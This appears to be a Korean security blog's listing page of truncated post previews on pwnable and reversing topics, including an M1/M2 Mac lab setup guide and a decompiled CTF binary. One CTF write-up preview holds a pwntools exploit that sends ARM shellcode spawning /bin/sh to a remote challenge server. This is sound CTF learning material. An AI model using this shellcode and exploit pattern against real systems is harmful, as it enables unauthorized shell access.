대부분의 pwnable, reversing 바이너리들은 x86_64 환경에서 제작되고 실행되는 경우가 많습니다. 하지만 M1/M2는 arm64여서 실행이 되지 않는데, 드림핵 보면서 많은 분들이 M1/M2 환경에서 pwnable, reversing 할 때 어떻게 진행해야하는지 모르시거나 환경구축에 애로사항이 있으신거 같아 글로 남겨봅니다. 현재 저의 맥북 사양은 M1 pro / 16GB / 512GB / iterm2 입니다. 오류/정정사항 있는 경우, 또는 더 좋은 방법이 있는 경우 디스코드 rasser_ 으로 연락주시면 수정하겠습니다. 1. 원하는 우분투 버전의 server 이미지를 다운 받습니다. (저는 20.04를 추천합니다) Desktop 이미지가 아니라 server 이미지를 사용하는 이유는 De..
Pwnable 2023. 10. 11. 12:23
대부분의 pwnable, reversing 바이너리들은 x86_64 환경에서 제작되고 실행되는 경우가 많습니다. 하지만 M1/M2는 arm64여서 실행이 되지 않는데, 드림핵 보면서 많은 분들이 M1/M2 환경에서 pwnable, reversing 할 때 어떻게 진행해야하는지 모르시거나 환경구축에 애로사항이 있으신거 같아 글로 남겨봅니다. 현재 저의 맥북 사양은 M1 pro / 16GB / 512GB / iterm2 입니다. 오류/정정사항 있는 경우, 또는 더 좋은 방법이 있는 경우 디스코드 rasser_ 으로 연락주시면 수정하겠습니다. 1. 원하는 우분투 버전의 server 이미지를 다운 받습니다. (저는 20.04를 추천합니다) Desktop 이미지가 아니라 server 이미지를 사용하는 이유는 De..
브라우저 공부 2022. 10. 26. 00:44
https://www.notion.so/Hidden-Class-88be406d00904e32ac3244f48293c021
CTF-Writeup 2022. 2. 28. 23:59
직접 푼 문제 from pwn import * context.log_level='debug' p = remote('15.165.92.159', 1234) #p = remote('localhost', 1234) #gdb.attach(p) test_shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78" p.sendafter('> ', "\x00"*0x10+test_shellcode + "A"*(0x90-len(test_shellcode))) p.sendlineafter('> ', '1') p.recvuntil('code : ') secre..
Pwnable 2022. 2. 27. 22:50
main함수 int main(void) { long in_FS_OFFSET; int choice; undefined8 canary; canary = *(undefined8 *)(in_FS_OFFSET + 0x28); initialize(); while( true ) { while( true ) { while( true ) { while( true ) { printmenu(); puts("choice :"); __isoc99_scanf(&DAT_00400aa4,&choice); if (choice != 1) break; add(); } if (choice != 2) break; view(); } if (choice != 3) break; delete(); } if (choice == 4) break; pu..